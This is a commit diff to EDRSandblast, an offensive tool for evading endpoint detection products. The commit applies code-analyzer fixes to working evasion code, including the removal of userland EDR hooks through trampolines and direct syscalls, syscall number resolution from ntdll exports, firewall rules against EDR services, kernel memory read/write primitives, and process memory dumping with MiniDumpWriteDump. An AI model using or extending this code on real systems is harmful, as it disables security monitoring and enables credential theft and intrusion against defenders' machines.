various cosmetic changes to please the code analyzer

EDRSandblast/Includes/UserlandHooks.h

@@ -55,8 +55,7 @@ PVOID hookResolver(PBYTE hookAddr);
 pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
 PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
 PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
-VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
+BOOL _Check_return_ unhook(_In_ HOOK* hook, UNHOOK_METHOD unhook_method);
-
 
 /*
 * Cache for NTDLL PE (accessed often)

EDRSandblast/UserlandBypass/Firewalling.c

@@ -166,6 +166,10 @@ NTSTATUS EnumEDRServices(fwBlockingRulesList* sFWEntries) {
         _tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
         goto cleanup;
     }
+    if (dwByteCount * sizeof(BYTE) < lpServicesCount * sizeof(ENUM_SERVICE_STATUS_PROCESS)) {
+        _putts(TEXT("[!] Could not enumerate EDR services (problem in allocation)"));
+        goto cleanup;
+    }
 
     for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
         dwByteCount = 0;

EDRSandblast/UserlandBypass/Syscalls.c

@@ -65,7 +65,7 @@ SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
     // Store all Zw* function as a syscall
     for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
         LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
-        if (*(WORD*)functionName == *((WORD*)"Zw")) {
+        if (functionName[0]=='Z' && functionName[1] == 'w') {
             if (g_nbSyscalls == g_nbSyscallsMax) {
                 g_nbSyscallsMax *= 2;
                 PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
@@ -91,7 +91,9 @@ SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
 
     // Deduce the syscall numbers from order in table
     for (DWORD j = 0; j < g_nbSyscalls; j++) {
+#pragma warning(disable : 6386) //compiler analysis is wrong for some reason (or maybe I am)
         g_syscalls[j].Number = j;
+#pragma warning(disable : 6386)
     }
     // Sort the function back in alphabetical order
     qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
@@ -138,8 +140,9 @@ DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
     if (zwFunctionName == NULL) {
         return INVALID_SYSCALL_NUMBER;
     }
-    *(WORD*)zwFunctionName = *(WORD*)"Zw";
+    zwFunctionName[0] = 'Z';
-
+    zwFunctionName[1] = 'w';
+    
     DWORD down = 0;
     DWORD up = syscallTableSize;
     while (up - down > 1) {

EDRSandblast/UserlandBypass/UserlandHooks.c

@@ -186,10 +186,12 @@ PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOI
     return NULL;
 }
 
-
+/*
-VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
+* Returns TRUE iff the hook has been successfully removed
+*/
+BOOL _Check_return_ unhook(_In_ HOOK* hook, UNHOOK_METHOD unhook_method) {
     if (unhook_method == UNHOOK_NONE) {
-        return;
+        return FALSE;
     }
 
     const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
@@ -241,12 +243,12 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
         unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
         if (unmonitoredNtProtectVirtualMemory == NULL) {
             printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
-            exit(EXIT_FAILURE);
+            return FALSE;
         }
         break;
     default:
         printf_or_not("Unhook method does not exist, exiting...\n");
-        exit(EXIT_FAILURE);
+        return FALSE;
         break;
     }
 
@@ -263,7 +265,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
     );
     if (!NT_SUCCESS(status)) {
         debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
-        exit(1);
+        return FALSE;
     }
 
     for (size_t i = 0; i < patch.size; i++) {
@@ -279,7 +281,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
     );
     if (!NT_SUCCESS(status)) {
         debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
-        exit(1);
+        return FALSE;
     }
 
     switch (unhook_method) {
@@ -291,6 +293,7 @@ VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
         break;
 
     }
+    return TRUE;
 }
 
 

EDRSandblast/Utils/KernelMemoryPrimitives.c

@@ -65,5 +65,6 @@ WriteKernelMemoryType(DWORD);
 WriteKernelMemoryType(DWORD64);
 
 BOOL TestReadPrimitive() {
-    return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
+    WORD startWord = ReadKernelMemoryWORD(0);
+    return ((startWord & 0xFF) == 'M') && ((startWord >> 8) == 'Z');
 }

EDRSandblast/Utils/PEParser.c

@@ -155,19 +155,19 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
     assert(pe->relocations != NULL);
     PVOID oldBaseAddress = pe->baseAddress;
     pe->baseAddress = newBaseAddress;
+    intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
     for (DWORD i = 0; i < pe->nbRelocations; i++) {
         switch (pe->relocations[i].Type) {
         case IMAGE_REL_BASED_ABSOLUTE:
             break;
         case IMAGE_REL_BASED_HIGHLOW:
             relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
-            intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
             assert(relativeOffset <= MAXDWORD);
             *relocDwAddress += (DWORD)relativeOffset;
             break;
         case IMAGE_REL_BASED_DIR64:
             relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
-            *relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
+            *relocQwAddress += (QWORD)relativeOffset;
             break;
         default:
             printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);

EDRSandblast/Utils/PdbParser.c

@@ -32,24 +32,30 @@ typedef struct PdbInfoStreamHeader_t {
 
 PVOID extractGuidFromPdb(LPWSTR filepath) {
 	GUID* guid = NULL;
+	HANDLE hMapping = NULL;
+	PBYTE filemap = NULL;
+	DWORD* StreamDirectory = NULL;
+	DWORD** StreamBlocks = NULL;
+	DWORD NumStreams = 0;
+
     HANDLE hFile = CreateFileW(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 	if (hFile == INVALID_HANDLE_VALUE) {
 		return NULL;
 	}
-    HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
+    hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
 	if (hMapping == NULL) {
-		goto clean_file;
+		goto clean;
 	}
-    PBYTE filemap = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
+    filemap = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
 	if (filemap == NULL) {
-		goto clean_mapping;
+		goto clean;
 	}
 	SuperBlock* superblock = (SuperBlock*)filemap;
 	DWORD blockSize = superblock->BlockSize;
 	DWORD* StreamDirectoryBlockMap = (DWORD*)(filemap + (ULONG_PTR)superblock->BlockMapAddr * blockSize);
-	DWORD* StreamDirectory = calloc(superblock->NumDirectoryBytes, 1);
+	StreamDirectory = calloc(superblock->NumDirectoryBytes, 1);
 	if (StreamDirectory == NULL) {
-		goto clean_viewoffile;
+		goto clean;
 	}
 	DWORD StreamDirectoryBlockIndex = 0;
 	DWORD StreamDirectoryRemainingSize = superblock->NumDirectoryBytes;
@@ -62,18 +68,19 @@ PVOID extractGuidFromPdb(LPWSTR filepath) {
 		StreamDirectoryBlockIndex++;
 		StreamDirectoryRemainingSize -= SizeToCopy;
 	}
-	DWORD NumStreams = StreamDirectory[0];
+	NumStreams = StreamDirectory[0];
 	if (NumStreams < 2) {
-		goto clean_StreamDirectory;
+		NumStreams = 0;
+		goto clean;
 	}
-	DWORD** StreamBlocks = calloc(NumStreams, sizeof(DWORD*));
+	StreamBlocks = calloc(NumStreams, sizeof(DWORD*));
 	if (StreamBlocks == NULL) {
-		goto clean_StreamDirectory;
+		goto clean;
 	}
 	DWORD* StreamBlocksFlat = &StreamDirectory[1 + NumStreams];
 	DWORD i = 0;
 	if ((1 + NumStreams) >= superblock->NumDirectoryBytes / 4) {
-		goto clean_StreamBlocks;
+		goto clean;
 	}
 	for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) {
 		DWORD StreamSize = StreamDirectory[1 + stream_i];
@@ -81,7 +88,7 @@ PVOID extractGuidFromPdb(LPWSTR filepath) {
 		while (StreamBlockCount * blockSize < StreamSize) {
 			PVOID tmp = realloc(StreamBlocks[stream_i], ((SIZE_T)StreamBlockCount + 1) * sizeof(DWORD));
 			if (tmp == NULL) {
-				goto clean_StreamBlocks;
+				goto clean;
 			}
 			StreamBlocks[stream_i] = tmp;
 			StreamBlocks[stream_i][StreamBlockCount] = StreamBlocksFlat[i];
@@ -91,27 +98,37 @@ PVOID extractGuidFromPdb(LPWSTR filepath) {
 	}
 	DWORD PdbInfoStreamSize = StreamDirectory[1 + 1];
 	if (PdbInfoStreamSize == 0) {
-		goto clean_StreamBlocks;
+		goto clean;
 	}
 	PdbInfoStreamHeader* PdbInfoStream = (PdbInfoStreamHeader*)(filemap + (ULONG_PTR)StreamBlocks[1][0] * blockSize);
 	guid = calloc(1, sizeof(GUID));
 	if (guid == NULL) {
-		goto clean_StreamBlocks;
+		goto clean;
 	}
 	memcpy(guid, &PdbInfoStream->UniqueId, sizeof(GUID));
-clean_StreamBlocks:
+clean:
-	for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) {
+	if (StreamBlocks) {
-		free(StreamBlocks[stream_i]);
+		for (DWORD stream_i = 0; stream_i < NumStreams; stream_i++) {
+#pragma warning(disable : 6001) //compiler analysis is wrong for some reason (or maybe I am)
+			if (StreamBlocks[stream_i]) {
+#pragma warning(default: 6001)
+				free(StreamBlocks[stream_i]);
+			}
+		}
+		free(StreamBlocks);
+	}
+	if (StreamDirectory) {
+		free(StreamDirectory);
+	}
+	if (filemap) {
+		UnmapViewOfFile(filemap);
+	}
+	if (hMapping != NULL) {
+		CloseHandle(hMapping);
+	}
+	if (hFile != INVALID_HANDLE_VALUE) {
+		CloseHandle(hFile);
 	}
-	free(StreamBlocks);
-clean_StreamDirectory:
-	free(StreamDirectory);
-clean_viewoffile:
-	UnmapViewOfFile(filemap);
-clean_mapping:
-	CloseHandle(hMapping);
-clean_file:
-	CloseHandle(hFile);
 	return guid;
 }
 

EDRSandblast/Utils/ProcessDump.c

@@ -55,8 +55,8 @@ DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
     // Retrieve information about the first process,
     // and exit if unsuccessful
     if (!Process32First(hProcessSnap, &pe32)) {
-        _tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
+        _tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName);
-        CloseHandle(hProcessSnap);          // clean the snapshot object
+        CloseHandle(hProcessSnap);
         return 1;
     }
 
@@ -64,7 +64,13 @@ DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
     //PE* dbghelpPe = PE_create(hDbghelp, TRUE);
     //_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
 
-    _MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
+    HANDLE hDbghelp = LoadLibrary(TEXT("dbghelp.dll"));
+    if (hDbghelp == NULL) {
+        _tprintf_or_not(TEXT("[!] %s dump failed: could not load dbghelp.dll\n"), processName);
+        CloseHandle(hProcessSnap);
+        return 1;
+    }
+    _MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(hDbghelp, "MiniDumpWriteDump");
 
     // Now walk the snapshot of processes, and look for the specified process.
     do {

EDRSandblast/Utils/SW2_Syscalls.c

@@ -56,7 +56,7 @@ BOOL SW2_PopulateSyscallList(void)
     PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
     for (DWORD nameOrdinal = 0; nameOrdinal < ntdll->exportedNamesLength; nameOrdinal++) {
         LPCSTR functionName = PE_RVA_to_Addr(ntdll, ntdll->exportedNames[nameOrdinal]);
-        if (*(WORD*)functionName == *((WORD*)"Zw")) {
+        if ((functionName[0] == 'Z') && (functionName[1] == 'w')) {
             Entries[i].Hash = SW2_HashSyscall(functionName);
             Entries[i].RVA = PE_functionRVA(ntdll, functionName);
             i++;

EDRSandblast_CLI/EDRSandblast.c

@@ -397,13 +397,14 @@ Dump options:\n\
         return EXIT_FAILURE;
     }
     // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
+
     BOOL isSafeToExecutePayloadUserland = TRUE;
     BOOL isSafeToExecutePayloadKernelland = TRUE;
 
     if (userMode) {
         _putts_or_not(TEXT("[===== USER MODE =====]\n"));
         _putts_or_not(TEXT("[+] Detecting userland hooks in all loaded DLLs..."));
-        hooks = searchHooks(NULL);
+        hooks = searchHooks(NULL); //TODO : change searchHooks to notify if code modifications have been found but not correctly identified as hooks
         _putts_or_not(TEXT(""));
 
         if (startMode != audit && unhook_method != UNHOOK_NONE) {
@@ -412,8 +413,10 @@ Dump options:\n\
             }
             for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
                 printf_or_not("[+] [Hooks]\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
-                // TODO: return if all hook could be removed and set isSafeToExecutePayloadUserland.
+                BOOL unhookSuccessful = unhook(ptr, unhook_method);
-                unhook(ptr, unhook_method);
+                if (!unhookSuccessful) {
+                    isSafeToExecutePayloadUserland = FALSE;
+                }
             }
         }
         _putts_or_not(TEXT(""));